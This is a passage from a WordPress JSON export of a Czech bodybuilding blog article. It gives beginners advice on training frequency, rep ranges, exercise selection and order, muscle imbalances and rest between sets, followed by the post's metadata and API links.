t\u011b\u017eko se budete c\u00edtit dostate\u010dn\u011b odpo\u010dat\u00ed na st\u0159ede\u010dn\u00ed cvi\u010den\u00ed. Pak d\u00e1v\u00e1 smysl vy\u010dkat do \u010dtvrtka \u010di p\u00e1tku, a\u017e budete op\u011bt p\u0159i s\u00edle. Nemyslete si, \u017ee si takov\u00fdm po\u010d\u00edn\u00e1n\u00edm vyslou\u017e\u00edte n\u00e1lepku lenocha a loosera. Schopnost zhodnotit vlastn\u00ed mo\u017enosti a zbyte\u010dn\u011b se nep\u0159ece\u0148ovat je v\u00a0tuhle chv\u00edli velmi cenn\u00e1. &nbsp; Pevn\u011b dan\u00e9 vs. variabiln\u00ed tr\u00e9ninkov\u00e9 dny? Z\u00a0p\u0159edchoz\u00edho odstavce jasn\u011b vypl\u00fdv\u00e1, \u017ee bude lep\u0161\u00ed, kdy\u017e se neupnete na konkr\u00e9tn\u00ed tr\u00e9ninkov\u00e9 dny. Na druhou stranu hodn\u011b lid\u00ed m\u00e1 r\u00e1do ve sv\u00e9m \u017eivot\u011b po\u0159\u00e1dek a \u0159\u00e1d, tak\u017ee by v\u00a0tomto duchu cht\u011bli koncipovat i sv\u016fj tr\u00e9nink. Takov\u00fdm odborn\u00edci \u010dasto rad\u00ed, aby s\u00a0ohledem na adekv\u00e1tn\u00ed regeneraci cvi\u010dili zpo\u010d\u00e1tku ka\u017ed\u00fd \u010dtvrt\u00fd den, tzn. v\u00a0pond\u011bl\u00ed, p\u00e1tek, \u00fater\u00fd, sobotu, st\u0159edu, ned\u011bli atd. Jen\u017ee to m\u00e1te \u0161est r\u016fzn\u00fdch tr\u00e9ninkov\u00fdch dn\u016f b\u011bhem t\u0159\u00ed t\u00fddn\u016f. Tenhle rozpis bude z\u00e1konit\u011b pro mnoho z\u00a0v\u00e1s nepraktick\u00fd. Fixn\u011b dan\u00e9 pond\u011blky a p\u00e1tky, nebo \u00faterky a soboty zn\u00ed p\u0159ece jenom l\u00e9pe. \u017divot je o kompromisech \u2013 i ten sportovn\u00ed \u2013 sna\u017ete se dr\u017eet rozpisu, pokud v\u00e1m to v\u00edce vyhovuje, ale sou\u010dasn\u011b naslouchejte hlas\u016fm sv\u00e9ho t\u011bla a p\u0159\u00edznaky p\u0159etr\u00e9nov\u00e1n\u00ed v\u017edy zohledn\u011bte. &nbsp; Po\u010det opakov\u00e1n\u00ed Tr\u00e9nink m\u016f\u017ee b\u00fdt produktivn\u00ed p\u0159i nejr\u016fzn\u011bj\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed v\u00a0s\u00e9rii. Z\u00a0toho t\u00edm p\u00e1dem odvod\u00edte, \u017ee tento faktor nen\u00ed zdaleka t\u00edm nejd\u016fle\u017eit\u011bj\u0161\u00edm. Bezpochyby ho p\u0159ed\u010d\u00ed proveden\u00ed i v\u00fdb\u011br cviku. Budovat svaly toti\u017e m\u016f\u017eete v\u00a0s\u00e9ri\u00edch s\u00a0n\u00edzk\u00fdm, st\u0159edn\u00ed, a nakonec i pom\u011brn\u011b vysok\u00fdm po\u010dtem opakov\u00e1n\u00ed. Hodn\u011b z\u00e1le\u017e\u00ed na genetick\u00fdch dispozic\u00edch ka\u017ed\u00e9ho z\u00a0v\u00e1s. Nav\u00edc plat\u00ed, \u017ee nespr\u00e1vn\u011b proveden\u00e9 opakov\u00e1n\u00ed bude rizikov\u00e9, p\u0159\u00edpadn\u011b nefunk\u010dn\u00ed bez ohledu na to, zda bude prvn\u00ed nebo dvac\u00e1t\u00e9. Samoz\u0159ejm\u011b s\u00a0nar\u016fstaj\u00edc\u00edm po\u010dtem opakov\u00e1n\u00ed v\u00a0s\u00e9rii se zvy\u0161uje riziko chyby a t\u00edm i zran\u011bn\u00ed. Co si z\u00a0toho odn\u00e9st? V\u0161echna opakov\u00e1n\u00ed byste m\u011bli prov\u00e9st technicky spr\u00e1vn\u011b. A plat\u00ed tak\u00e9, \u017ee s\u00e9rie o velmi n\u00edzk\u00e9m po\u010dtu opakov\u00e1n\u00ed pat\u0159\u00ed do arzen\u00e1lu zku\u0161en\u00fdch sportovc\u016f. Z\u00a0hlediska zran\u011bn\u00ed jsou toti\u017e rizikov\u011bj\u0161\u00ed. Vzhledem k\u00a0tomu, \u017ee jde o s\u00e9rie prov\u00e1d\u011bn\u00e9 s\u00a0vysokou z\u00e1t\u011b\u017e\u00ed, zat\u011b\u017euj\u00ed klouby, svaly i pojivov\u00e9 tk\u00e1n\u011b. Jen byste nem\u011bli propadnout myln\u00e9mu dojmu, \u017ee chyba v\u00a0technice se p\u0159i s\u00e9rii o vysok\u00e9m po\u010dtu opakov\u00e1n\u00ed ztrat\u00ed. Striktn\u00ed proveden\u00ed je vstupenkou k\u00a0\u00fasp\u011bchu za v\u0161ech okolnost\u00ed. Je d\u016fle\u017eit\u00e9 vysledovat, jestli nab\u00edr\u00e1te svaly sp\u00ed\u0161e v\u00a0s\u00e9ri\u00edch o deseti a v\u00edce opakov\u00e1n\u00edch, p\u0159\u00edpadn\u011b v\u00e1m l\u00e9pe sed\u00ed s\u00e9rie do deseti opakov\u00e1n\u00ed. Nav\u00edc to m\u016f\u017ee b\u00fdt u ka\u017ed\u00e9ho cviku trochu jin\u00e9. Tr\u00e9ninkov\u00fd den\u00edk, kam si budete v\u0161e zapisovat, v\u00e1m pom\u016f\u017ee s\u00a0odstupem dob\u0159e analyzovat situaci a nastavit podle toho dal\u0161\u00ed cvi\u010debn\u00ed pl\u00e1n. &nbsp; Existuje v\u00e1\u0161 ide\u00e1ln\u00ed po\u010det opakov\u00e1n\u00ed? Jak budete postupn\u011b z\u00edsk\u00e1vat tr\u00e9ninkov\u00e9 zku\u0161enosti, d\u0159\u00edve nebo pozd\u011bji zjist\u00edte, \u017ee u ka\u017ed\u00e9ho cviku existuje f\u00e1ze, kdy se s\u00a0danou v\u00e1hou nebudete schopni dostat na vy\u0161\u0161\u00ed po\u010det opakov\u00e1n\u00ed t\u0159eba i n\u011bkolik t\u00fddn\u016f. Pak je na m\u00edst\u011b zm\u011bnit jin\u00fd faktor \u2013 t\u0159eba zv\u00fd\u0161it z\u00e1t\u011b\u017e. &nbsp; Pozor na stereotypy Sna\u017ete se nepodl\u00e9hat v\u0161eobecn\u011b roz\u0161\u00ed\u0159en\u00fdm n\u00e1zor\u016fm. Nap\u0159\u00edklad tomu, \u017ee l\u00fdtka a b\u0159icho je t\u0159eba procvi\u010dit v\u00a0s\u00e9ri\u00edch o v\u00edce ne\u017e dvaceti opakov\u00e1n\u00edch. Klidn\u011b experimentujte i s\u00a0ni\u017e\u0161\u00edm po\u010dtem, dost mo\u017en\u00e1 zjist\u00edte, \u017ee je to pro v\u00e1s p\u0159\u00ednosn\u011bj\u0161\u00ed. \u010c\u00edm m\u00e9n\u011b budete sami sebe \u0161katulkovat podle n\u011bjak\u00fdch obecn\u00fdch norem, t\u00edm sn\u00e1ze pozn\u00e1te svoje individu\u00e1ln\u00ed n\u00e1roky a budete schopni prov\u00e9st pot\u0159ebn\u00e9 modifikace. &nbsp; &nbsp; V\u00fdb\u011br cvik\u016f Volte takov\u00e9 cviky, kter\u00e9 budete schopni prov\u00e1d\u011bt bezpe\u010dn\u011b a spr\u00e1vn\u011b v\u00a0dlouhodob\u00e9m horizontu. D\u00e1v\u00e1 smysl cviky pravideln\u011b obm\u011b\u0148ovat, ale v\u011bt\u0161inou sportovc\u016fm nesed\u00ed p\u0159\u00edli\u0161 \u010dast\u00e1 zm\u011bna, svaly obvykle pot\u0159ebuj\u00ed n\u011bjakou chv\u00edli k\u00a0tomu, aby na konkr\u00e9tn\u00ed podn\u011bt mohly adekv\u00e1tn\u011b reagovat. P\u0159i v\u00fdb\u011bru cvik\u016f do tr\u00e9ninku za\u010d\u00e1te\u010dn\u00edk\u016f m\u016f\u017eete postupovat dv\u011bma zp\u016fsoby: \u0159adit za sebou cviky podobn\u00e9, nap\u0159\u00edklad benchpress a tlaky s jednoru\u010dkami, d\u0159epy a mrtv\u00fd tah atd., podobn\u00e9 cviky odd\u011blit do dvou r\u016fzn\u00fdch tr\u00e9nink\u016f \u2013 bench press za\u0159adit v\u00a0pond\u011bl\u00ed a tlaky s jednoru\u010dkami ve \u010dtvrtek, d\u0159epy v\u00a0pond\u011bl\u00ed, ale mrtv\u00fd tah ve \u010dtvrtek. V\u00a0p\u0159\u00edpad\u011b d\u0159ep\u016f a mrtv\u00e9ho tahu jednodu\u0161e postupujte podle sv\u00fdch individu\u00e1ln\u00edch mo\u017enost\u00ed. N\u011bkomu v\u00edce sed\u00ed, kdy\u017e za\u0159ad\u00ed oba cviky v\u00a0jednom tr\u00e9ninku, proto\u017ee si m\u016f\u017ee dovolit zat\u00ed\u017eit doln\u00ed partii zad t\u00edmto zp\u016fsobem. Jin\u00fd up\u0159ednostn\u00ed proveden\u00ed cvik\u016f odd\u011blen\u011b, proto\u017ee to bude ohledupln\u011bj\u0161\u00ed pro jeho bedern\u00ed p\u00e1te\u0159. A kdy\u017e je \u0159e\u010d o t\u00e9to \u010d\u00e1sti zad, vy v\u0161ichni, kte\u0159\u00ed mus\u00edte riziko poran\u011bn\u00ed minimalizovat kv\u016fli st\u00e1vaj\u00edc\u00edm pot\u00ed\u017e\u00edm nebo t\u0159eba kv\u016fli prod\u011blan\u00e9mu zran\u011bn\u00ed, byste m\u011bli v\u011bd\u011bt, \u017ee bedra nejsou nam\u00e1han\u00e1 jen p\u0159i d\u0159epech a variant\u00e1ch mrtv\u00e9ho tahu. I tlaky nad hlavou nebo bench press, p\u0159i nich\u017e se proh\u00fdb\u00e1te v\u00a0bedrech, mohou sehr\u00e1t negativn\u00ed roli. I s\u00a0ohledem na takov\u00e1 specifika je pak t\u0159eba tr\u00e9nink sestavovat. Metodou pokus\u016f a omyl\u016f najdete cviky vyhovuj\u00edc\u00ed va\u0161\u00ed t\u011blesn\u00e9 struktu\u0159e a tr\u00e9ninkov\u00fdm c\u00edl\u016fm. &nbsp; Svalov\u00e9 dysbalance S\u00a0nevyv\u00e1\u017een\u00fdm rozvojem jednotliv\u00fdch svalov\u00fdch parti\u00ed se pot\u00fdk\u00e1 spousta lid\u00ed. A tyto faktory byste rozhodn\u011b m\u011bli br\u00e1t v\u00a0potaz. Pom\u011brn\u011b \u010dastou dysbalanc\u00ed b\u00fdv\u00e1 tzv. \u201et\u011b\u017e\u0161\u00ed spodek\u201c, tzn. hmota soust\u0159ed\u011bn\u00e1 v\u00a0doln\u00ed polovin\u011b t\u011bla. Kdybyste v\u00a0takov\u00e9 situaci p\u0159i tr\u00e9ninku v\u011bnovali d\u0159ep\u016fm a mrtv\u00e9mu tahu stejnou pozornost jako z\u00e1kladn\u00edm cvik\u016fm na horn\u00ed polovinu t\u011bla, probl\u00e9m by se nejsp\u00ed\u0161 je\u0161t\u011b zhor\u0161il. \u0158e\u0161en\u00edm je prov\u00e1d\u011bn\u00ed d\u0159ep\u016f ve velmi vysok\u00e9m po\u010dtu opakov\u00e1n\u00ed a jen jednou t\u00fddn\u011b (klidn\u011b 100 opakov\u00e1n\u00ed s\u00a0lehkou v\u00e1hou), zat\u00edmco s\u00e9rie s\u00a0vy\u0161\u0161\u00ed v\u00e1hou a ni\u017e\u0161\u00edm po\u010dtem opakov\u00e1n\u00ed si nech\u00e1te na cviky aktivuj\u00edc\u00ed z\u00e1da a hrudn\u00edk. &nbsp; Po\u0159ad\u00ed a po\u010det cvik\u016f U za\u010d\u00e1te\u010dn\u00edk\u016f je t\u0159eba v\u011bnovat pozornost p\u0159edev\u0161\u00edm tomu, aby v\u00a0jednom tr\u00e9ninku neza\u0159azovali cviky, kter\u00e9 jsou si velmi podobn\u00e9. M\u00e1te-li v\u00a0rozpisu mrtv\u00fd tah s\u00a0pokr\u010den\u00fdma nohama, u\u017e ur\u010dit\u011b neprov\u00e1d\u011bjte mrtv\u00fd tah s\u00a0nohama nata\u017een\u00fdma. Kv\u016fli lep\u0161\u00ed flexibilit\u011b m\u016f\u017eete za\u0159adit p\u0159\u00edpadn\u011b lehkou s\u00e9rii na prota\u017een\u00ed, ale ne cvi\u010den\u00ed s\u00a0velkou v\u00e1hou. Jestli\u017ee za\u0159azujete bench press na rovn\u00e9 lavici, nedopl\u0148ujte ho bench pressem na lavici naklon\u011bn\u00e9 nebo hlavou dol\u016f. V\u00a0p\u0159\u00edpad\u011b cvik\u016f na hrudn\u00edk-ramena-tricepsy se sna\u017ete zpo\u010d\u00e1tku vysta\u010dit se dv\u011bma \u2013 nap\u0159\u00edklad s\u00a0bench pressem a kliky na bradlech. Co se t\u00fd\u010de po\u0159ad\u00ed, obvykle se postupuje od nejv\u011bt\u0161\u00edch svalov\u00fdch parti\u00ed, vy\u017eaduj\u00edc\u00edch nejv\u00edce kontroly, s\u00edly a soust\u0159ed\u011bn\u00ed. &nbsp; Pauzy mezi s\u00e9riemi Teoreticky nejsp\u00ed\u0161 zn\u00e1te oba extr\u00e9my. Tedy tr\u00e9nink v\u00a0tempu s prakticky nulov\u00fdmi pauzami mezi s\u00e9riemi, stejn\u011b jako tr\u00e9nink, p\u0159i n\u011bm\u017e je v\u00a0centru pozornosti vysok\u00e1 z\u00e1t\u011b\u017e a ta vy\u017eaduje dostate\u010dn\u011b dlouh\u00fd odpo\u010dinek, abyste s\u00a0n\u00ed zvl\u00e1dli dal\u0161\u00ed s\u00e9rie. Rychl\u00fd tr\u00e9nink zcela logicky nep\u0159eje silov\u00fdm v\u00fdkon\u016fm a naopak. Sportovci, jejich\u017e c\u00edlem je budovat hmotu, obvykle mezi s\u00e9riemi na men\u0161\u00ed svaly odpo\u010d\u00edvaj\u00ed dv\u011b minuty, pokud jde o procvi\u010den\u00ed sval\u016f velk\u00fdch, pak se pauza prot\u00e1hne a\u017e na \u010dty\u0159i minuty. Krat\u0161\u00ed p\u0159est\u00e1vky dr\u017e\u00ed jen mezi zah\u0159\u00edvac\u00edmi s\u00e9riemi. D\u016fle\u017eit\u00e9 ale je, abyste to s\u00a0odpo\u010dinkem nep\u0159ehnali. Takov\u00e9 cvi\u010den\u00ed by vedlo ke stagnaci \u010di k\u00a0poklesu s\u00edly a ztr\u00e1t\u00e1m svalov\u00e9 hmoty. Vych\u00e1zejte z\u00a0obecn\u00fdch doporu\u010den\u00ed a sledujte reakce sv\u00fdch sval\u016f i moment\u00e1ln\u00ed pocity p\u0159i tr\u00e9ninku. V\u00a0horizontu n\u011bkolika t\u00fddn\u016f bezpochyby sami vysledujete, co v\u00e1m osobn\u011b nejv\u00edce vyhovuje. &nbsp; T\u011bchto p\u00e1r jednoduch\u00fdch doporu\u010den\u00ed by v\u00e1m m\u011blo pomoci hledat vlastn\u00ed cestu k\u00a0napln\u011bn\u00ed sv\u00e9ho potenci\u00e1lu. Ne nadarmo tolik \u00fasp\u011b\u0161n\u00fdch kulturist\u016f \u0159\u00edk\u00e1, \u017ee cvi\u010dit je t\u0159eba chyt\u0159e a rozhodn\u011b ned\u00e1v\u00e1 smysl kop\u00edrovat n\u011b\u010d\u00ed tr\u00e9nink. Vy tr\u00e9nujete se sv\u00fdm t\u011blem, vych\u00e1z\u00edte ze sv\u00fdch mo\u017enost\u00ed a m\u011bli byste pracovat s\u00a0t\u00edm, co m\u00e1te k\u00a0dispozici. Jen budete muset chv\u00edli hledat ten spr\u00e1vn\u00fd p\u0159\u00edstup. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":515,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[43,33,42,46,41,20,45,44,16,21,34],"class_list":["post-514","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky","tag-budovani-hmoty","tag-cinky","tag-cvicebni-program","tag-fitness-centrum","tag-kulturistika","tag-posilovani","tag-posilovna","tag-svalova-hmota","tag-svaly","tag-trenink","tag-zatez"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/514","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=514"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/514\/revisions"}],"predecessor-version":[{"id":519,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/514\/revisions\/519"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/515"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=514"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=514"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=514"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}